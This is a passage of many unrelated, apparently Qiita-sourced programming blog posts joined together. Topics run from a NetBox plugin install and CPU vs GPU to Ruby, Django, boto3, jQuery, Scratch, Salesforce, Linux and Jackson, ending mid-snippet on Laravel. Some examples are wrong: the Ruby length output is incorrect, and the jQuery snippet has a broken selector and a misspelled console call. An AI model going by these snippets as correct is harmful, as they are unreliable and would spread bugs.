こちらはオプションですが、今後NetBoxの更新などを行った際に自動でインストールされるように、インストール対象としても登録しておきます。
```bash
echo netbox-topology-views >> local_requirements.txt
```


続いて設定ファイルにもPluginを追記しておきます。
```/opt/netbox/netbox/netbox/configuration.py
PLUGINS = [
        "netbox_topology_views",
]
```

次はデータベースの移行と静的ファイルの収集を行うスクリプトを実施します。
※仮想環境をActivateしているはずだが、なぜか仮想環境側のpythonを直接実行する必要がありました

```bash
sudo /opt/netbox/venv/bin/python3 /opt/netbox/netbox/manage.py migrate
sudo /opt/netbox/venv/bin/python3 /opt/netbox/netbox/manage.py collectstatic
```

最後にnetboxのserviceを再起動させたら完了です。
```bash
sudo systemctl restart netbox netbox-rq
```


## 動作確認

NetBoxのUIに戻り、ページをリロードしてPluginを確認すると、Installedになっていることが確認できます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/406495/64b9e314-53ee-2d12-e60b-be5aaa187ba3.png)

今回追加したPluginは物理機器の接続状況をTopologyとして可視化することができるものになります。
Siteの画面に新しくTopologyというボタンが追加されているので、押してみると可視化できることが確認できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/406495/416b0535-880c-5f13-929b-b1cac372804e.png)

# まとめ

今回はNetBoxにプラグインを導入してみました。
インストール方法がUI上で用意されていたり、インストール状況も見れるのはかなり親切でした。
他にも多くのプラグインがあるので、良さそうのを見つけたら追加してみようと思います。

また、本記事で一応予定していたNetBoxの記事は終了となります。
APIなど、まだ全然触りきれていないのでまた機会があったら投稿するかもです。

以上
CPUとGPUの違いについてまとめてみました

**CPU（中央処理装置: Central Processing Unit）** と **GPU（グラフィックス処理装置: Graphics Processing Unit）** は、どちらもコンピュータの重要なプロセッサですが、それぞれの役割や設計思想は異なります。以下に、CPUとGPUの違いを詳しく説明します。

### 1. **役割と目的**
- **CPU（中央処理装置）**:
  - **目的**: CPUは、コンピュータ全体の頭脳であり、あらゆる処理を管理・実行します。主に汎用的なタスク（例：アプリケーションの実行、データの処理、OSの操作）を効率よく処理するために設計されています。
  - **役割**: 複雑な命令を順序よく処理する。特定のタスクを実行するために、少数の強力なコアを持ち、高いクロック速度で動作します。

- **GPU（グラフィックス処理装置）**:
  - **目的**: GPUは、主にグラフィックスや画像処理、並列計算を高速に行うために設計されたプロセッサです。近年は、AIや機械学習、科学計算、3Dレンダリングなど、計算処理に特化した分野でも使われます。
  - **役割**: 大量のデータを並列に処理することに優れており、特に同時に多数の演算を必要とするタスク（例：ピクセルごとの計算、3Dグラフィックスのレンダリング）に向いています。

### 2. **アーキテクチャ**
- **CPU**:
  - **コア数**: 一般的に、少数（2～16個程度）の高性能コアを持つ。各コアは複雑な命令を高速に処理できるように設計されています。
  - **スレッド処理**: CPUは、マルチタスクに対応するため、複数のスレッドを並列に処理しますが、通常、少数のスレッドを処理することに特化しています。
  - **命令セット**: CPUは、複雑な命令セットを持ち、幅広い処理に対応できます。

- **GPU**:
  - **コア数**: GPUは、数千もの小さなコアを持ち、これらのコアが並列に動作します。各コアは単純な計算を大量に同時処理することができます。
  - **並列処理**: GPUは、大規模な並列処理に最適化されており、大量のデータや計算を同時に実行することができます。これにより、画像処理や機械学習など、大量のデータ処理が必要な場面で力を発揮します。
  - **専用アーキテクチャ**: GPUは、特にグラフィックスレンダリングやベクトル演算に最適化された命令セットを持っています。

### 3. **処理の種類**
- **CPU**:
  - **シリアル処理**: CPUは、複雑なタスクを順序立てて実行することに優れています。少数のスレッドやタスクを逐次的に処理することが得意で、処理のフロー制御や分岐、意思決定などに優れています。
  - **汎用性**: CPUは、オペレーティングシステムの管理、アプリケーションの実行、データの処理など、さまざまなタスクをこなします。

- **GPU**:
  - **並列処理**: GPUは、大量のデータを並列に処理することに優れており、特に同じ演算を複数のデータセットに適用するようなタスクに強みがあります。例えば、画像やビデオの処理、3Dレンダリングなど、同時に大量のピクセルや頂点を処理する作業が得意です。
  - **専用性**: GPUは、特定の処理（グラフィックスや計算に特化）に特化しているため、一般的なタスクには向いていないこともあります。

### 4. **主な用途**
- **CPU**:
  - オペレーティングシステムの制御。
  - アプリケーションソフトウェアの実行。
  - システム全体の管理や他のハードウェアとの通信。
  - 高度な論理演算やシリアルなタスクの処理。

- **GPU**:
  - 3Dグラフィックスやビデオレンダリング。
  - ディープラーニングやAIの計算処理。
  - 科学計算やデータ解析における並列処理。
  - ゲームや映像編集など、画像処理が多いアプリケーション。

### 5. **性能指標**
- **CPU**:
  - **クロック速度**: GHz単位で表され、各コアが1秒間に処理できるサイクル数を表します。クロック速度が高いほど、1つのコアがより高速に処理できます。
  - **コア数**: コアの数が多いほど、複数のタスクを同時に処理できる能力が高くなります。
  - **シングルスレッド性能**: 単一のスレッドを処理する性能が重視されます。

- **GPU**:
  - **フロップス（FLOPS: Floating Point Operations Per Second）**: GPUの浮動小数点演算の性能を表す指標で、特に並列処理に強みがあります。
  - **CUDAコアやストリームプロセッサの数**: コア数が多いほど、並列処理能力が向上します。
  - **メモリ帯域幅**: 高速なメモリアクセスができるかどうかも重要な指標です。

### 6. **具体例**
- **CPUの例**:
  - **Intel Core i7**: 高性能な汎用CPUで、主にデスクトップPCやノートPCに搭載されます。
  - **AMD Ryzen 7**: 高性能なマルチコアCPUで、ゲームや映像編集、開発など、幅広い用途に適しています。

- **GPUの例**:
  - **NVIDIA GeForce RTX 3080**: ゲームやグラフィックス処理、ディープラーニングにも使用される高性能GPU。
  - **AMD Radeon RX 6900 XT**: ゲームやグラフィックスアプリケーションに特化した高性能GPU。

### **まとめ**
- **CPU**は、汎用的なタスク処理に適したプロセッサであり、システム全体を管理し、シリアルな処理に強みがあります。
- **GPU**は、並列処理を得意とするプロセッサで、グラフィックス処理や科学計算、AIの分野で特に有用です。

それぞれのプロセッサは異なる設計思想を持ち、異なる種類の処理に適しています。コンピュータシステム全体では、CPUとGPUが連携して、それぞれの得意分野で最高のパフォーマンスを発揮する形で動作しています。
友人とのイベントのためのチケット管理アプリ開発Day２

これから友人と企画・主催するイベントの知見と管理アプリを開発していくときに勉強になったことを、復習しやすくまたは記憶しやすくするために記録したいと思う。他の人の参考にもなればなおうれしいです。

### まずアプリの全体の概要とアーキテクチャ、データベース設計を決めた ###

#### 1. システム全体の概要 ####

- **ユーザー側**: チケットを生成・取得し、QRコードをスキャンして利用します。
- **ドリンク側**: QRコードを読み取ってチケットの検証を行います。
- **サーバー側**: チケットの生成、保存、検証、QRコードの管理を行います。

#### 2. アーキテクチャ ####

1. **フロントエンド (TypeScript + フレームワーク例: React, Angular, Vue.js)**
    - **チケット生成画面**: ユーザーがチケットを生成するためのインターフェース。
    - **QRコード表示**: 生成されたQRコードを表示する機能。
    - **QRコードスキャン機能**: ドリンク側でQRコードを読み取るインターフェース。
2. **バックエンド (Java Spring Boot)**
    - **APIサーバー**:
        - /generate-ticket: チケットを生成し、QRコードを作成するAPI。
        - /validate-ticket: QRコードを読み取り、チケットの有効性を検証するAPI。
    - **サービス層**:
        - チケット生成サービス: チケットのID生成、QRコード生成、MySQLへの保存。
        - チケット検証サービス: QRコードを解析し、チケットの検証。
    - **データベース層**:
        - MySQLでチケット情報を管理。例えば、ticketsテーブルにチケットID、有効期限、使用済みフラグなどを格納。
3. **QRコード生成ライブラリ**
    - JavaでQRコードを生成するために、ZXingやQRCodeなどのライブラリを使用。

#### 3. データベース設計 ####

- **ticketsテーブル**
    - id: チケットID (主キー)
    - code: QRコードでエンコードされたチケットコード
    - expires_at: 有効期限
    - is_used: チケットが使用済みかどうか

### 2. Spring Initializarでプロジェクトを作成し、eclipseで作業開始 ###

Spring Initializarで作成したプロジェクトを見えやすいようにデスクトップにチケット管理アプリというフォルダを作成し、そこにダウンロードしたプロジェクトを移動させ、eclipseでインポートして作業開始できるようにした。

### 3.　Gitでのローカルリポジトリ作成とGithubでのリモートリポジトリ作成またローカルとの接続 ###

プロジェクトのルートディレクトリでgit initを行いリポジトリを初期化。
.gitignoreファイルを作成し、また設定も行った。
設定内容はJava、log、Eclipse-specificに関して行いgitで追跡しなくて良いファイルやディレクトリを指定した。

またGithubでリモートリポジトリを作成するのは成功したが、パスワードの代わりにアクセストークンの生成や、ライセンスの設定（今回はMIT）、リモートとの接続が難しかった。
特にリモートとの接続は、リモートがmainブランチなのに対してローカル上ではmasterであったり、origin配下にmainブランチではなくURIがそのまま貼ってあったり、pushするとnon-fast-forwardのエラーが出て、結局リモートのブランチでライセンスの設定をしてから行ったからローカルのブランチに無い変更がリモートにある状態になったので、ローカルリポジトリ名をmasterからmainに変更して、外部のターミナルからリポジトリのディレクトリに移動して、giit pull origin行った。その後、Gitリポジトリビューローカルのmainを選択してブランチへプッシュしてgit branch -rで確認した。

### 4. そのあと、各パッケージ・クラスを作成して、application.propertiesを設定しデータベース接続を設定した。（依存関係はSpring Initializarでのプロジェクト作成時にあらかたしてある）###

各パッケージの内容
・controller/:
APIエンドポイントを処理するクラスを配置。
TicketController.java

・service/:
ビジネスロジックを実装するクラスを配置。
例: TicketService.java

・model/:
データベースエンティティを表すクラスを配置。
例: Ticket.java（チケット情報のモデルクラス）

・repository/:
データベースとのやり取りを行うリポジトリインターフェースを配置。
例: TicketRepository.java

・exception/ (任意):
カスタム例外クラスを配置。
例: TicketNotFoundException.java（チケットが見つからなかった場合の例外

そして、MySQLサーバーの設定を行ってからapplication.propertiesの設定を行った。

少してこづったけど、MySQL@8.0と指定しながらやってあげれば行けた。

#### 追記
まだまだまとまっていないため開発しながら隙間時間で頭と一緒に整理していこうと思いますので、温かい目でよろしくお願いいたします。初めての個人開発頑張ります。
反復開発のなぜ。費用対効果の期待は？（by ChatGPT）

アジャイル開発では、小刻みにリリース（インクリメンタルリリース）を行う理由はいくつかあります。

+ フィードバックを早く得るため
　➡️ リリースごとにユーザーや顧客からのフィードバックを得て、製品を改善できる。
+ リスクを軽減するため
　➡️ 大規模なリリースに比べて、少量の変更の方が問題を特定しやすく、修正が容易。
+ 変化に迅速に対応するため
　➡️ 顧客のニーズや市場の変化に柔軟に対応しやすくなる。
+ 価値を早く提供するため
　➡️ 完成まで待たずに、ユーザーに部分的な価値を早期に提供できる。
+ チームのモチベーションを維持するため
　➡️ 頻繁に成果を確認できることで、チームの達成感を高める。
これらの理由から、アジャイルでは小さなリリースを繰り返すことが重要です。

---
アジャイル開発の小刻みなリリースは、費用対効果の観点でも多くのメリットがあります。

+ 無駄な開発を減らす
　➡️ 早期のフィードバックにより、不要な機能や顧客にとって価値の低い部分にリソースを使わずに済む。
　➡️ ユーザーのニーズに合った機能を優先的に開発できるため、開発の効率が向上。

+ 早期に利益を生む
　➡️ 完全な製品をリリースする前に、部分的な機能で早く市場に投入し、収益化が可能になる。
　➡️ リリース後のフィードバックを活用して、次の投資判断を適切に行える。

+ リスク管理コストを抑える
　➡️ 問題が小規模な段階で発見されるため、大規模な修正コストを抑えることができる。
　➡️ 大規模なプロジェクトに伴う失敗のリスクが軽減され、対応コストも少なくなる。

+ 投資の判断を柔軟にできる
　➡️ 各リリースごとにプロジェクトの進捗や市場の反応を評価できるため、継続的な投資の妥当性を都度判断できる。必要ならば方向転換やプロジェクトの中止が早くできる。

アジャイル開発では、このように限られたリソースを効果的に使い、投資に対するリターンを最大化することができます。
Antimalware Scan Interface


下記の記事昔に書いたなあ、、　(アドレス変更でログインできなかった。。)
また勉強してみようかな。

これからQiitaとgithub使っていこうと思ってます。

https://qiita.com/ChickenAkira/items/a3137f84670c6fa58e95#:~:text=Qiita%20Blog
【Ruby】文字列の長さを調べる方法

文字列の長さを調べるには`length`メソッドを使用します。

## 基本的な使い方

`length`メソッドは、以下のように使用します。

```ruby
# 文字列の長さを取得
string = "Hello, World!"
puts string.length  # 出力: 13

```

空白や特殊文字もカウントされます。

```ruby
string_with_spaces = " Ruby "
puts string_with_spaces.length  # 出力: 8
```

## 配列の要素を数える

配列に対して`length`メソッドを使用すると、その配列に含まれる要素の数を返します。

```ruby
empty_array = []
puts empty_array.length  # 出力: 0

mixed_array = [1, "two", :three]
puts mixed_array.length  # 出力: 3
```

## `size`メソッド

`size`メソッドも`length`メソッドと同様に使用できます。

```ruby
string = "Hello"
puts string.length  # 出力: 5
puts string.size    # 出力: 5

array = [1, 2, 3]
puts array.length  # 出力: 3
puts array.size    # 出力: 3
```
【MySQL x Django】予約語のrankをフィールド名に使ってもエラーにならないのは自動エスケープされているため

# 概要
MySQL8.0に変更するにあたり、予約語に注意する必要がありますが、Django ORMを利用しているとそうでもないことがわかったので備忘も兼ねて残します。

# MySQL8.0の予約語

MySQLの公式ドキュメントには以下のように記載されています。

> 今後バージョンアップするときのことを考慮に入れて、使用予定のある予約語を確認しておくことをお勧めします。 新しいバージョンの MySQL を扱ったマニュアルでもこれらを確認できます。 リスト内の予約語のほとんどは、標準 SQL によってカラム名またはテーブル名として禁止されています (例: GROUP)。 いくつかは、MySQL が必要とし、yacc パーサーを使用するので予約されています。

https://dev.mysql.com/doc/refman/8.0/ja/keywords.html

こう言われているので、新たな予約語がもし既存のDBカラム名に利用されていたらまずいな...と思い、調べていると、`rank`フィールド（カラム）が既存プログラムのDBにあるではないか。ソースコードにもガッツリ書いてある。

これは変更作業が必要になるかなぁ...と懸念していたのですが...

# Django ORMの自動エスケープ機能

いざローカル環境でMySQL8.0にしてアプリを動かしてもエラーにならない。

あれ？と思って調べていると、Django ORMを使用しているとエラーにならないとのこと。

というのも、
Django ORMは、クエリを生成する際にフィールド名を自動的にエスケープ（クォート）してくれます。
これにより、予約語であってもエスケープされた状態でクエリが実行されるため、エラーが発生しないのです。

そのため、`rank`フィールドを使用してもエラーが発生しない、というわけです。

公式ドキュメントにも以下のように記載されていました。


(カラム名について)

> If your database column name is an SQL reserved word, or contains characters that aren’t allowed in Python variable names – notably, the hyphen – that’s OK. Django quotes column and table names behind the scenes.
> 引用元：https://docs.djangoproject.com/en/5.1/ref/models/fields/

(テーブル名について)

> If your database table name is an SQL reserved word, or contains characters that aren’t allowed in Python variable names – notably, the hyphen – that’s OK. Django quotes column and table names behind the scenes.
> 引用元：https://docs.djangoproject.com/en/5.1/ref/models/options/




上記の通り、予約語を含むフィールド名を安全に使用することができます。
とはいえ、なんでもかんでも予約語をバンバン使う習慣も良くないでしょう。今回は既存プログラムへの影響範囲と改修の必要性という観点からの調査でした。
PythonでAWS S3のファイルを一時認証情報(STS)を使ってダウンロードする

AWS S3のファイルをSTSの一時認証情報を使ってダウンロードするPythonコードサンプルをまとめます。

一時認証情報は事前に取得できていると仮定します。

最初に以下コマンドでboto3ライブラリを追加します。

```sh
pip install boto3
```

下記のPythonスクリプトを実行することでAWS S3からファイルをダウンロードすることができます。

コード内で以下のパラメタの値を適宜書き換えてください

- 事前に取得した一時認証情報
    - アクセスキー
    - シークレットアクセスキー
    - セッショントークン
- ダウンロードするファイルの
    - バケット名
    - オブジェクトキー
- 保存ファイル名

```python
import boto3
from botocore.exceptions import NoCredentialsError

# アクセスキー、シークレットアクセスキー、セッショントークンを指定します
access_key = 'your-access-key'
secret_access_key = 'your-secret-access-key'
session_token = 'your-session-token'

# S3のクライアントを作成します
s3_client = boto3.client(
    's3',
    aws_access_key_id=access_key,
    aws_secret_access_key=secret_access_key,
    aws_session_token=session_token
)

def download_from_s3(bucket_name, object_key, local_filename):
    try:
        # S3のオブジェクトをダウンロードします
        with open(local_filename, 'wb') as f:
            s3_client.download_fileobj(Bucket=bucket_name, Key=object_key, Fileobj=f)
        print(f'{local_filename} にダウンロード完了しました。')
    except NoCredentialsError:
        print("認証情報が見つかりません。")
    except Exception as e:
        print(f'エラーが発生しました: {e}')

# バケット名、オブジェクトキーを設定します
bucket_name = 'your-bucket-name'
object_key = 'your-object-key'
local_filename = 'downloaded_file.ext'

# ファイルをダウンロードします
download_from_s3(bucket_name, object_key, local_filename)

```
Output練習のためProjectEulerを解いてみる #2

Output練習のためProjectEulerを解いてみる第二問目です。
それでは解いていきます。
# #2 Even Fibonacci Numbers
Each new term in the Fibonacci sequence is generated by adding the previous two terms. By starting with $1$ and $2$, the first $10$ terms will be:
$$1, 2, 3, 5, 8, 13, 21, 34, 55, 89, \dots$$
By considering the terms in the Fibonacci sequence whose values do not exceed four million, find the sum of the even-valued terms.

# 意訳
フィボナッチ数列$F_n$を以下の式で定義する。
```math
F_n = F_{n-1} + F_{n-2} \;\;\;\; (n \geq 2)
```
$F_0 = 1, F_1 = 2$とすると、初めの10項は
$$1, 2, 3, 5, 8, 13, 21, 34, 55, 89, \dots$$
とあらわされる。
値が400万以下のフィボナッチ数列を考えたとき、偶数の値の総和を求めよ

# 方針
ひとまず定義通りにフィボナッチ数列を書き上げ、偶数の値を取り上げて足し上げてます
# 解法1
```ProjectEuler_2.py
from functools import lru_cache

@lru_cache(maxsize=10000)
def Fibonacci(n):
    if n == 0:
        return 1
    if n == 1:
        return 2
    else:
        return Fibonacci(n - 1) + Fibonacci(n - 2)

ans = 0
LIMIT = 4000000
n = 0
while Fibonacci(n) < LIMIT:
    print(n)
    if Fibonacci(n) % 2 == 0:
        ans += Fibonacci(n)
    n += 1
print(ans)
```
これを解くと4613732が得られる。
# 解法2
今回のフィボナッチ数列の偶奇を考えてみると、
$$奇,偶,奇,奇,偶,奇,奇,偶 \dots$$
となる。これの偶数の項数を見ると1,4,7と3つ飛びになっているので、それを再現すればよし
```ProjectEuler_2.py
from functools import lru_cache

@lru_cache(maxsize=10000)
def Fibonacci(n):
    if n == 0:
        return 1
    if n == 1:
        return 2
    else:
        return Fibonacci(n - 1) + Fibonacci(n - 2)

LIMIT = 4000000
n = 0
num = []

while Fibonacci(n) < LIMIT:
     num.append(Fibonacci(n))
     n += 1
print(sum(num[1::3]))
```
【OutSystems】Associate Reactive Developerサンプル問題の解説６～１０

[前回](https://qiita.com/Ishimaru_TEC/items/443d926f2fa837748a2e)の続き
１～５に比べると、画面機能の問いが多い。
ブロックやイベントはOutSystemsに限らず、他フレームワークでも同じ作りになってるかなと思います。


### 問題と解説

#### 問題６
![image (7).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3882879/2475c7fc-aa13-91f4-0700-594677280b23.png)

答え：A

解説：
　画面のイベントは、Initialize → Ready → Render ..の順で呼び出される。
　以下の２点を理解しておきたい。
　・実行のタイミング　→　どのタイミングで呼ばれるのか（前後関係と初期状態）
　・処理の回数　→　１回だけ呼ばれるか、複数回呼ばれる可能性があるか
　また、画面間を移動する場合のイベントの実行タイミングも覚えておきたい。

公式の解説
[画面イベント](https://learn.outsystems.com/ja-jp/training/journeys/web-developer-662/screen-events/o11/472)

#### 問題７
![image (8).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3882879/713cc54b-abd5-e39b-6d55-5539fb485f7c.png)


答え：D

解説：
　不要な手順
　国の取得後に市を取得してもあまり意味がない。
　「Only on Demand」と「On After Fetch」イベントの使い分けを理解しておきたい。

公式の解説
[高度なAggregate](https://learn.outsystems.com/ja-jp/training/journeys/web-developer-662/advanced-aggregates/o11/18)
※直接的な解説は無かったので、アグリゲートの解説動画をリンクしています

#### 問題８
![image (9).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3882879/69401639-d8d5-8b66-abd3-4c4312ada329.png)


答え：B

解説：
　ブロックはインスタンス化が可能である。（共通部品として使いまわせる）
　また、ブロックをブロック内でインスタンス化することも可能である。

公式の解説
[ブロック](https://learn.outsystems.com/ja-jp/training/journeys/web-developer-662/blocks/o11/58)

#### 問題９
![image (10).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3882879/d30832ed-4965-87fa-e67a-35eca65a13dd.png)


答え：A

解説：ブロックは親（画面やブロック）にイベントを通知できる。
![f68de75d2a476e409fe9f1dce550beec.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3882879/b54bd5f5-9c55-972f-a01a-ad972f039ae1.png)


公式の解説
[ブロックイベント](https://learn.outsystems.com/ja-jp/training/journeys/web-developer-662/block-events/o11/78)

#### 問題１０
![image (11).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3882879/d45287ab-3d69-89af-5bb2-92a58b478593.png)


答え：C
解説：
　Built-in Validationプロパティを有効化することで、下記の２点の標準的な確認を行える。
　・必須フィールドの入力チェック
　・入力データの型チェック

　Built-in Validationに加え、もう少しチェックを行いたい場合はCustom Validationを使用する。こちらも覚えておきたい。

 
公式の解説
[フォームの検証](https://learn.outsystems.com/ja-jp/training/journeys/web-developer-662/form-validations/o11/226)
jQueryで値を取得、設定、変更する方法

### 値の取得方法
HTML
```
<button id="btn-a" value="aaa">ボタンA</button>
```
jQuery
```
var a = $(#bta-a).val();
cousole.log(a);
```
実行結果

aaa

### 値の設定方法
HTML
```
<button id="btn-a">ボタンA</button>
```
JQuery
```
$('#btn-a').val('aaa');
```
実行後のボタン要素
```
<button id="btn-a" value="aaa">ボタンA</button>
```

### 値の変更方法
HTML
```
<button id="btn-a" value="abc">ボタンA</button>
```
jQuery
```
$('#btn-a').val('aaa');
```
実行後のボタン要素
```
<button id="btn-a" value="aaa">ボタンA</button>
```

### まとめ
・val()メソッドを使用することで値を取得、設定、変更ができる

### 参考文献
https://www.sejuku.net/blog/45297
Scratch ライブラリ（カルーセル・セレクタ/横）

# Scratch ライブラリ（カルーセル・セレクタ/横）

グルグル回るカルーセル方式のセレクタです。といっても、よく Web サービスとかであるようなスライド式ではなく、メリーゴーランドのように回る形式です。回っているのが見えるとより見栄えが良いかな、と思い。

さらに、コスチュームを用意するだけで自動的に色々ケアしてくれるようにしました。ある意味、ノーコードでいけます。

# カルーセル・セレクタ/横

## プロジェクト

ここにあります。

https://scratch.mit.edu/projects/1061436142/

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/579271/7b863a68-54d8-fa97-9741-7ab81465f09a.png)

## ライブラリ概要

コスチュームを決まった命名ルールに従って用意するだけで、以下の事をしてくれます。

* パラメータ数やパラメータごとの項目数を自動判別、自動レイアウト
* アニメーションの自動判別、自動アニメーション

最終的な選択番号は、**「Settings Parameter Values」** という名のリストに格納されるため、それを参照して選択された項目に従った動作をさせる、というのが基本的な利用方法です。

## 使い方

### 基本

以下の命名ルールに従ってコスチュームを用意します。

1. パラメータ名は **1-T** のような名前にする必要があります。 1 はパラメータ ID 番号を意味し、T はタイトルを意味します。パラメータID番号は、パラメータが複数ある場合にパラメータを区別するために使用されます。

2. 項目には、パラメータ ID 1 に対して **1-1**、**1-2**、...、**1-n** のような名前を付ける必要があります。項目に 6 つの選択肢がある場合、n は 6 になります。 2 番目のパラメータに対してパラメーター ID は 2 となり、ID 2 のオプションは **2-1**、**2-2**、...、**2-m** となります。 m はパラメータ ID 2 のオプションの数を意味します。この場合、n は m と異なっていても構いません。

3. オプションでアニメーションさせたい場合は、**1-1-0** などの名前でコスチュームを用意します。アニメーションはコスチューム名 0～7 で行われますが、この個数は固定（8 個）です。例えばID/オプションが 1-1 のアニメを作りたい場合、**1-1-0** から **1-1-7** までの計 8 つのコスチュームを用意する必要があります。

以下のプロジェクト（再掲）内の実際のコスチュームを参照すると、より理解が深まるでしょう。

https://scratch.mit.edu/projects/1061436142/

## 各種情報

### 変数・リスト
> In: 他スプライト管理の値を参照／Out: 本スプライトで設定

| リスト名 | In/Out |        概要        |
| ------ | :----: | ------------------ |
| `Settings Parameter Values` | Out | パラメータごとの選択項目番号 |

### イベント

特になし。

### コスチューム

パラメータ名や項目のコスチュームを用意すること。

## 拡張ポイント

特になし。

---

コスチュームだけで実行するための判別方法として、以下のような技術的トリックを使いました。これはこれで Tips として別記事にしておこうかと。

* 「コスチューム名」を参照できるため、「コスチューム変更」した後に「コスチューム名が期待した名前になっているか」をチェック。
  * なっていれば、そのコスチュームが存在している。
  * なっていなければ、そのコスチュームは存在していない。

この方法で、パラメータ数やパラメータごとの項目数、アニメーションが設定されているか、を確認し、それを元に動作するようにしています。

---

> [Scratch ライブラリと Scratch Tips 目次へ戻る](https://qiita.com/Kray-G/items/e1900d5b6c6dcfbe5321/)
Mobile App Development vs. Software/Website Development: A Comparative Analysis

Mobile app development, software development, and website development are all integral parts of the digital landscape, but they serve distinct purposes and require different skill sets. Let's delve into the key differences between these three domains.

Mobile App Development
Mobile apps are designed specifically for smartphones and tablets. They offer a more interactive and personalized user experience compared to traditional websites. Mobile app development involves creating applications for various platforms like iOS (Apple), Android (Google), or both. Developers use programming languages such as Swift (iOS) or Kotlin (Android) to build these apps.   

Key characteristics of mobile app development:

Platform-specific: Apps are tailored to the specific operating system of the device.   
Interactive: They often include features like touch gestures, notifications, and offline functionality.   
In-app purchases: Many apps generate revenue through in-app purchases or subscriptions.   
Software Development
Software development encompasses a broader range of applications, including desktop software, enterprise systems, and embedded systems. These applications can be used on various devices, from computers to specialized hardware. Software developers use programming languages like C++, Java, Python, or C# to create these applications.   

Key characteristics of software development:

Diverse applications: Covers a wide range of software types.   
Complex systems: Often involves building large-scale, intricate systems.   
Backend focus: Frequently deals with server-side logic and database management.   
Website Development
Website development focuses on creating websites that can be accessed through a web browser. Websites are typically built using HTML, CSS, and JavaScript. While websites can be simple or complex, they generally provide information or services to users.   

Key characteristics of website development:

Web-based: Accessible through a web browser.
Content-focused: Prioritizes delivering information or services.
Cross-platform compatibility: Can be viewed on various devices and operating systems.
Salesforceの組織のメールアドレスからユーザー選択およびデフォルトのNo-Reply用途の組織のメールアドレス設定方法

組織のアドレスから「追加」ボタンをクリック

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/531631/ecb03e31-a7e8-3e43-fca8-54181161bd1e.png)


目的を「ユーザー選択およびデフォルトのNo-Reply用途の組織のメールアドレス設定方法」に選択しメールアドレスを追加して「保存」をクリック


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/531631/ae7e9fe6-9fbd-6c95-0e73-a754fedc123e.png)


以下の内容のメールが届くのでリンクをクリック

>Motohashi Takaaki 様
>このSalesforce組織のメールアドレスを追加する要求を受け取りました。
>新しい組織のメールアドレス:	「自分のメールアドレス」
新しい組織のメールアドレスをご確認のうえ、次のリンクをクリックして変更を確定してください


メールのリンクをクリックしないとこのような赤字の警告が出ます
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/531631/f5fa52e1-5b0b-8c43-0ece-e83bf5ca0ee4.png)


リンクをクリックしたらこのような画面になります
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/531631/09a7798d-c00f-6e8f-1c42-7165e7a0e3f6.png)

警告が消えていたら設定完了です。お疲れ様でした。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/531631/703f2210-f93b-9e5e-7eb8-700176aadc16.png)
初心者エンジニアの成長日記＃１

# 初心者エンジニアがLinuxについて学んで見たよ
### Linuxの歴史について
LinuxはUnix系のOSである。
当時大学生だった　リナーストーバルスが生みの親。（すごすぎる🔥）
世間がオープンソース化していくにつれて、大きくなっていったらしい！
[リナーストーバルス](　https://ja.wikipedia.org/wiki/%E3%83%AA%E3%83%BC%E3%83%8A%E3%82%B9%E3%83%BB%E3%83%88%E3%83%BC%E3%83%90%E3%83%AB%E3%82%BA "リナーストーバルス")

### 重要な用語　カーネル・シェルについて

カーネルとはLinuxの中核となる部分。カーネル自体は基本的な機能を提供する。
カーネルに加えてソフトやパッケージを加えたものをOSやディストリビューションという！
＜補足＞
・ディストリビューションにはRedHat系とDebian系っていうものがある。
| Redhat系| Debian系 |
|:-:|:-:|
| CentOS  |  Ubuntu |

シェルとはユーザーとカーネルの間に入ってくれる通訳みたいなもの（？）
↓
シェルはユーザーとカーネルの間のインタフェースであり、コマンドの実行を仲介します

```
　　コマンド指示　　　解釈して伝える
ユーザー　→　　シェル　　→　カーネル
　　　　　←　　　　　　　←
     　実行結果表示　　　コマンド実行
```
こんな感じのイメージかな？

シェルの種類

sh(基礎的な機能)
bash (スタンダード)　
zsh(より高機能)

実際の動きのイメージ
1️⃣ユーザーがプロンプトにコマンドを入力する。
2️⃣シェルがコマンドのある場所を探しに行く
3️⃣コマンドのある場所でカーネルが実行する
4️⃣実行結果を表示する



### Linuxの基本思想について
1 １つのプログラムには１つのことを実行させる
2 色々な機能をできるだけ細かく分ける

ターミナル・シェルなど細かく機能が分かれている
jackson-databindでStringをenum型にデシリアライズする

# jackson-databindを導入 (maven)
```xml:pom.xml
    <dependency>
        <groupId>com.fasterxml.jackson.core</groupId>
        <artifactId>jackson-databind</artifactId>
        <version>2.14.3</version>
    </dependency>
```

# enumを定義
```java
import com.fasterxml.jackson.annotation.JsonProperty;

public enum Status {
    @JsonProperty("finished")
    DONE,
    @JsonProperty("wip")
    IN_PROGRESS,
    @JsonProperty("ready")
    NOT_STARTED;
}

```

# JSONモデルを定義
```java
public class Task {
    public String title;
    // enum
    public Status status;
}
```
メソッドをpublicにしないとdeserialize時にエラーが出るので注意。

# デシリアライズ
```java
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;

public class JsonApp {
    public static void main(String[] args) {
        String taskString = "{\"title\": \"do something\", \"status\": \"finished\"}";
        try {
            Task task = new ObjectMapper().readValue(taskString, Task.class);
            System.out.println("title: " + task.title);
            System.out.println("status: " + task.status);
        } catch (JsonProcessingException e) {
            System.out.println("error: " + e.getMessage());
        }
    }
}
```

# 結果
```
title: do something
status: DONE
```
【Laravel】特定のレコードを先頭に並べる方法！

こんにちは、泉（[@izumin_0401](https://twitter.com/izumin_0401)）です。

今回は、Laravelで特定のレコードを先頭に並べる方法を解説するよ！

# ブログ記事はこちら

https://traveler0401.com/laravel-partition-flatten/

# Laravelで特定のレコードを先頭に並べる方法

例えば、ユーザマスタがあって、IDが「0003」のレコードを先頭にしたい場合は以下。

```php
$users = DB::table('mst_user')
          ->orderByRaw('id')
